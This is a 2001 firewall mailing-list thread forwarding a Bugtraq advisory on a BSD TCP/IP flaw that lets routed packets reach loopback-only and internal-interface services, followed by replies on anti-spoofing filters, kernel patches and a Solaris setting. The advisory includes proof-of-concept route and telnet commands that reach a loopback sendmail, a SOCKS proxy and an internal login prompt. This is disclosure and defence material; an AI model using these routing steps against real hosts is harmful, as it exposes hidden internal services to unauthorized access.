Subject: FW: Loopback and multi-homed routing flaw in TCP/IP stack.

From: "Brian Desmond" <[email-masked]>
Date: Thu, 8 Mar 2001 11:52:10 +1100

[To be removed from this list send the message "unsubscribe fwtk-users" in the
BODY of a mail message to [email-masked].]

Hi All,

No doubt many of you were following this thread on bugtraq over
the last couple of days. For those who weren't - don't panic
when you read this advisory - this was the first email of the 
thread, and should not be interpreted as the last word on this
issue.

However, the fact remains that even with ipforwarding disabled
on my Linux based fwtk proxy firewall, my internal interfaces are not 
completely hidden from those with evil intentions.

Forgive me if this is documented with fwtk - I have had another
quick look but I haven't seen this mentioned.

I'm going to come clean and say "I did not know this". 

So finally my question: 

What kind of packet filtering are people using to protect themselves
from this?

With thanks in advance,

Brian

> -----Original Message-----
> From: Bugtraq List [mailto:[email-masked]]On Behalf Of Woody
> Sent: Tuesday, 6 March 2001 6:45 AM
> To: [email-masked]
> Subject: Loopback and multi-homed routing flaw in TCP/IP stack.
> 
> 
> Subject: Loopback and multi-homed routing flaw in TCP/IP stack.
> Author: Woody <[email-masked]>
> 
> We believe there to be a serious security flaw in the TCP/IP stack of
> several Unix-like operating systems. Whilst being "known" behavior on
> technical mailing lists, we feel that the implications of this
> "feature" are unexpected. Furthermore, not all platforms behave in the
> same way, which will obviously lead to invalid expectations.
> 
> PLEASE NOTE: We have received a lot of replies to this advisory from
>         developers who have missed the point. Before you reply, please
>         read the advisory at least twice, to ensure you understand its
>         implications, and scope.
> 
> The Issue:
> 
> There is a flaw in the TCP/IP stack, such that packets intended for
> loopback and/or local network interfaces, routed via any other
> interface, will be delivered EVEN IF THE MACHINE IS CONFIGURED NOT TO
> BE A GATEWAY (note that in the case of packets destined for the
> loopback interface, we consider this to be a fault no matter how the
> host is configured - see RFC 1122 comments below). This means that
> connections can be made to services that were intended to be invisible
> by virtue of the fact that they were only listening on the "inside" of
> a system. This may lead to further compromise of the host and/or
> connected networks, either via (e.g.) buffer overflows or enhanced
> privileges via access to SOCKS or other internal proxies.
> 
> Examples:
> 
> In these scenarios, the 213.129.64.x network represents the public
> internet, and 172.16.x.x the private, internal network.
> 
> Server 213.129.64.1 runs sendmail bound only to loopback on port 25,
> providing an outgoing smtp gateway for local programs. Attacker is on
> 213.129.64.2.
> 
>   213.129.64.2# route delete 127.0.0.1
>   delete host 127.0.0.1
>   213.129.64.2# route add 127.0.0.1 213.129.64.1
>   add host 127.0.0.1 gateway 213.129.64.1
>   213.129.64.2# telnet 127.0.0.1 25
>   Trying 127.0.0.1...
>   Connected to 127.0.0.1.
>   Escape character is '^]'.
>   220 eeek.woodyland.not ESMTP sendmail blah blah blah
> 
> Equally alarmingly, the same trick can be done for back end
> networks. In this example, 213.129.64.1 runs a SOCKS server, bound
> only to it's "internal network" on 172.16.1.1. A routed connection to
> this service potentially allow full access to internal and other
> network resources via SOCKSified clients.
> 
>   213.129.64.2# route add 172.16.1.1 213.129.64.1
>   add host 172.16.1.1: gateway 213.129.64.1
>   213.129.64.2# telnet 172.16.1.1 1080
>   Trying 172.16.1.1...
>   Connected to 172.16.1.1.
>   Escape character is '^]'.
> 
> So for example, an internal server on 172.16.1.2 running telnetd can
> now be connected to from 213.129.64.2:
> 
>    213.129.64.2# export SOCKS_SERVER=172.16.1.1
>    213.129.64.2# rtelnet 172.16.1.2
>    Trying 172.16.1.2...
>    Connected to kerpow.woodyland.not
>    Escape character is '^]'.
> 
>    02/02/01 22:25:32 on /dev/con1
>    Last login: 02/02/01 21:22:54 on /dev/con1
>    login:
> 
> At the moment, any machine which has either:
> 
> o       services running on the loopback interface
> 
> o       two or more external interfaces
> 
> must be configured, using a firewall, to drop IP packets arriving from
> the wrong network in order to be secure. This is commonly not the
> case.
> 
> 
> Known Vulnerable Systems:
> 
>         FreeBSD - all releases to date.
>         OpenBSD - all releases to date.
>         NetBSD  - all releases to date.
> 
> Known Not Vulnerable:
> 
>         Linux - RH6.2 stock kernel
> 
> As a checkpoint, one COTS o/s was tested:
> 
>         Solaris 5.6, 5.7 - although a connection to remote services can
>                            be established, a full two way session
>                            cannot, so it is unlikely that Solaris is
>                            truly vulnerable.
>                            Further investigation is advised.
> 
> Discussion:
> 
> Restrictions to the behavior of loopback packets are defined in RFC 1122
> section 3.2.1.3
>                 (g)  { 127, <any> }
>                       Internal host loopback address.  Addresses of this
>                       form MUST NOT appear outside a host.
> 
> Although this only constrains the output from the stack, in our opinion
> the implementation of this section should be extended to control the
> input as well, and this appears to be the consensus of the BSD groups.
> NOTE: This advisory is not about RFC compliance, it is about expected
> behavior.
> 
> *BSD groups were notified at the beginning of December 2000. Both
> FreeBSD and OpenBSD realised the need to resolve this problem and have
> endeavored to produce a patch. We understand that there are some things
> in OpenBSD which rely on the fact that the loopback interface is not
> routable, and as a result of this not being the case, remote holes may
> be exposed.
> 
> The NetBSD group have made the following statement:
> 
>     This is not a new "discovery".  The "correct" behavior of
>     multi-homed host stacks in this case has been the subject of
>     substantial debate in the networking community. Changing this
>     behavior has been discussed in the past, but involves many
>     complications and cases. NetBSD strongly recommends that users
>     running multi-homed hosts, where the interfaces are separated into
>     different security domains, should use appropriate filters which
>     include source address spoofing detection. NetBSD provides the
>     ipfilter mechanism for this purpose, and have issued a patch for
>     the loopback issue (below).
> 
> Rant:
> 
> quoting Obvious Security Inc. Bulletin #2600:
> 
>     Remember - "Just because it's right in your face, does
>     not mean that it's obvious".
> 
> Fix:
> 
> FreeBSD:
> 
> Ben Laurie has written a patch for FreeBSD (tested on 3.x and 4.x). This
> patch IS NOT COMPLETE by any means, but it does the job for simple
> cases. Further modification is required to ensure all routing
> scenarios behave correctly. Angelos Keromytis <[email-masked]>
> has observed that this patch will not allow packets to be routed to
> the remote interfaces themselves even if routing is enabled, and that
> encapsulation protocols that use virtual interfaces will probably be
> broken by it, however a patch that fixes these problems is not
> currently available.
> 
> We recommend that ipfw is used instead of our patch in these
> scenarios, pending a complete fix for FreeBSD.
> 
> The FreeBSD group have added some fixes to 4.2-current, and serious
> users should follow their progress.
> 
> 
> --- /usr/src/sys/netinet/ip_input.c.org Sun Dec 17 16:04:49 2000
> +++ /usr/src/sys/netinet/ip_input.c     Mon Dec 18 16:46:14 2000
> @@ -486,7 +486,9 @@
> 
>                                         ip_fw_fwd_addr->sin_addr.s_addr)
>                         goto ours;
>  #else
> -               if (IA_SIN(ia)->sin_addr.s_addr == ip->ip_dst.s_addr)
> +               if (IA_SIN(ia)->sin_addr.s_addr == ip->ip_dst.s_addr
> +                   && (ia->ia_ifp == m->m_pkthdr.rcvif
> +                       || m->m_pkthdr.rcvif->if_flags & IFF_LOOPBACK))
>                         goto ours;
>  #endif
>                 if (ia->ia_ifp && ia->ia_ifp->if_flags & IFF_BROADCAST)
> {
> 
> OpenBSD:
> 
> The OpenBSD group are expected to publish a patch shortly.
> 
> NetBSD:
> 
> The following patch to sys/netinet/ip_input.c is now in
> NetBSD-current.  This patch disables reception of external packets
> with source or destination in the 127/8 network. NetBSD will advise
> users when this change is incorporated into the release branches;
> concerned users may apply the patch now.
> 
> *** ip_input.c  2001/03/01 16:31:39     1.128
> --- ip_input.c  2001/03/02 02:05:36     1.129
> ***************
> *** 416,421 ****
> --- 416,428 ----
>         if (IN_MULTICAST(ip->ip_src.s_addr)) {
>                 /* XXX stat */
>                 goto bad;
> +       }
> +
> +       /* 127/8 must not appear on wire - RFC1122 */
> +       if ((ntohl(ip->ip_dst.s_addr) >> IN_CLASSA_NSHIFT) ==
> IN_LOOPBACKNET ||
> +           (ntohl(ip->ip_src.s_addr) >> IN_CLASSA_NSHIFT) ==
> IN_LOOPBACKNET) {
> +               if ((m->m_pkthdr.rcvif->if_flags & IFF_LOOPBACK) == 0)
> +                       goto bad;
>         }
> 
>         if (in_cksum(m, hlen) != 0) {
> 
> Acknowledgments:
> 
>   Woody       <[email-masked]>
>   Adam Laurie <[email-masked]>
>   Ben Laurie  <[email-masked]>
>   Doug Lang   <[email-masked]>
>   http://www.thebunker.net
>

---

From: Rick Murphy <[email-masked]>
Date: Wed, 07 Mar 2001 23:30:42 -0500

>What kind of packet filtering are people using to protect themselves

Most any anti-spoofing will fix this - the problem in the Bugtraq article 
is, after all, a local one - someone on one of the subnets directly 
connected to your firewall sends a packet through the firewall to 127.0.0.1 
and it's accepted. Fortunately, most people have a router between the 
internet and their firewall, so there's no untrusted users on that subnet.

You can just add 127.0.0.0/8 to your martian filter on your firewall (the 
one that denies 10.*, 192.168.*, etc.)
         -Rick

---

From: Ted Keller <[email-masked]>
Date: Thu, 8 Mar 2001 09:51:24 -0500 (EST)

If you are running solaris - you can use the ndd command

/usr/sbin/ndd -set /dev/ip ip_strict_dst_multihoming 1

ted keller

---

From: Adam Laurie <[email-masked]>
Date: Thu, 08 Mar 2001 14:06:33 +0000

> internet and their firewall, so there's no untrusted users on that subnet.

But unfortunately if your host is in a managed environment like a co-lo
or ISP there will most likely be *many* untrusted users on your subnet
so protecting individual machines in this way (or, hopefully, by fixing
the stack) is a necessary evil.

cheers,
Adam
--
Adam Laurie                   Tel: +44 (20) 8742 0755
A.L. Digital Ltd.             Fax: +44 (20) 8742 5995
Voysey House                  http://www.thebunker.net
Barley Mow Passage            http://www.aldigital.co.uk
London W4 4GB                 mailto:[email-masked]
UNITED KINGDOM                PGP key on keyservers

---

From: Rick Murphy <[email-masked]>
Date: Thu, 08 Mar 2001 18:33:37 -0500

At 02:06 PM 3/8/01 +0000, Adam Laurie wrote:
>Rick Murphy wrote:
> > Fortunately, most people have a router between the

True, but you don't normally run your own firewall in that managed 
environment.

I'm not saying that you can ignore this problem just because you've got a 
firewall in place - it's worth investigating to make sure you have some 
protection in place to avoid localhost spoofing. That protection is part of 
what it takes to make FWTK into a firewall.
         -Rick